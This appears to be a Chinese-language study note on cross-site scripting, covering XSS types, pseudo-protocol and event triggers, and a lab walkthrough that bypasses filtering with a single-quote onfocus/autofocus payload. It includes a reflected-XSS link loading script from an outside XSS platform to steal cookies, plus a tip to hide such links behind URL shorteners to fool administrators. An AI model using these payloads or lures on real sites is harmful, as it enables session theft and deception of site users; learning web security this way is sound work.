什么是XSS?
XSS可以理解为前端代码注入(前端代码包括HTML,CSS,JavaScript)
注入攻击的本质,是把用户输入的数据当做代码执行。
这里有两个关键条件:
第一个是用户能够控制输入
第二个是原本程序要执行的代码,拼接了用户输入的数据
那么XSS主要拼接的是什么?
SQL注入拼接的是操作数据库的SQL语句。
XSS拼接的是网页的HTML代码,一般而言我们是可以拼接合适的HTML代码去执行恶意的JS语句(总结: xss就是拼接恶意的HTML)
XSS能做什么?
盗取Cookie(用的最频繁的)
获取内网ip
截取网页屏幕
获取浏览器保存的明文密码
网页上的键盘记录.
XSS的类型
反射型XSS(你提交的数据成功的实现了XSS,但是仅仅是对你这次访问产生了影响,是非持久型攻击) --用户自己传参了恶意代码才能触发
存储型XSS(你提交的数据成功的实现了XSS,存入了数据库,别人访问这个页面的时候就会自动触发)
DOM型XSS (比较复杂,后面学到了再补充)
前端与后端
前端的核心在于展示,将页面展示给你看
后端的核心在于处理,满足功能要求
而前面所说的前端代码
HTML【骨架】
CSS【衣服】
JavaScript【操纵浏览器,达成一些功能】
如果你可以证明你自己能够任意操纵网页上的JS,那么他就有XSS漏洞
JS触发
1.
所以你得诱导别人去传参这个标签
2.伪协议触发
伪:假的东西–>不大众的协议 weishi:// telnet:// php:// javascript:// 在特定的地方触发
http:// ftp:// https:// -->大家都认可的协议 在每一个地方都能触发
例如上面的javascript:alert(1)
<a ·href=“http://www.baidu.com” >baidu</ a>
这里你在页面上看到的是baidu的字样点进去就跳转到了百度的网站,因为里面的超链接是百度的网址
baidu</ a>
如果是这样就是一个为协议触发,点进去就触发了XSS,因为源码存储的语句就是上面的
3.事件触发
由于某个原因导致了事件的发生
事件触发的是Js语句·on
例如:<img src=“https:/ /www.baidu.com/ imgPCtm d9c8750bed0b3c7d089fa7d55720d6cf.png” ·οnlοad=alert(1)/>
这里加载的是百度的一张图片,如果成功加载就触发XSS,这里的事件可以有很多种比如加载失败的时候触发
这个时候你肯定想拿个站点试试XSS,这个时候你可以去找一个免费的XSS平台,但是注意这个平台是别人搭建的,你在偷别人Cookie的同时它可能也会偷你的Cookie,所以用的时候最好开个无痕浏览模式,这里我也懒得演示了,有兴趣的自己去试一试
今天主要是说反射型XSS
反射型XSS
让别人访问链接然后触发
例如:192.168.222.131/a.php?a=<sCRiPt%20sRC=//xsshs.cn/PhpU>
反射型的危害要比存储型的低, 为什么这么说因为你想偷到管理员的Cookie的话你得去诱骗管理员点它,但管理员又不是傻子,这个链接一看就不正经我怎么会去点
所以我们可以用短链接去迷惑别人
可以随便找个生成短链接的平台就行
http://22j.co/es6M 这样看起来是不是就正经多了,然后在配上些文字
既然是偷Cookie,那我们能偷什么网站的Cookie呢?
这里强调一个东西:
同源性法则
同源:同协议、同Ip(域名)、同端口
那么上靶场吧
XSS见框就插
1.传参
2.看输出点
这里我们输入的东西上面显示出来了,说明它没有被当作代码执行
那它是什么情况呢,右键检查看一下
这里看着都很正常,那我们在右键编辑一下
这里我们发现它被转码了<>尖括号消失了,说明这里尖括号不能用
那这里标签就不能触发了,还有两种伪协议和事件触发
这里明显的是伪协议也用不了,我们没a标签和herf
但是事件触发也得在标签里,所以这里就不存在XSS,因为它过滤了
怎么办?
寻找输出点
我们发现框里输入的东西在url栏里也get传参
我们单独输入个尖括号看看会不会过滤
我们看到它在双引号里面,试试闭合掉双引号
然后发现它把双引号给转义了
那我们试试单引号
我们发现框里面的单引号不见了,说明它触发成功了
为什么可以用单引号触发?
前端代码是展示给用户看的,所以前端具有很高的容错性,它会把很多不合理的代码变的合理
我们右键检查所看到的代码不是真的
真实的代码我们要右键查看网页源码
源码这里写的就是单引号,而右键检查看到的是双引号
搞清楚这些之后我们用单引号闭合然后用oninput去触发,这里的意思就是在输入框里输入东西就触发
在里面随便输个东西就能触发
成功拿到flag,但这种操作条件有点苛刻要干着干那的,还得输入东西
这里有个骚姿势,焦点触发,输入进去之后它自动触发
payload : ’ οnfοcus=alert(1) autofocus //
当input输入框获取焦点时执行(onfocus)
直接弹窗
未完待续…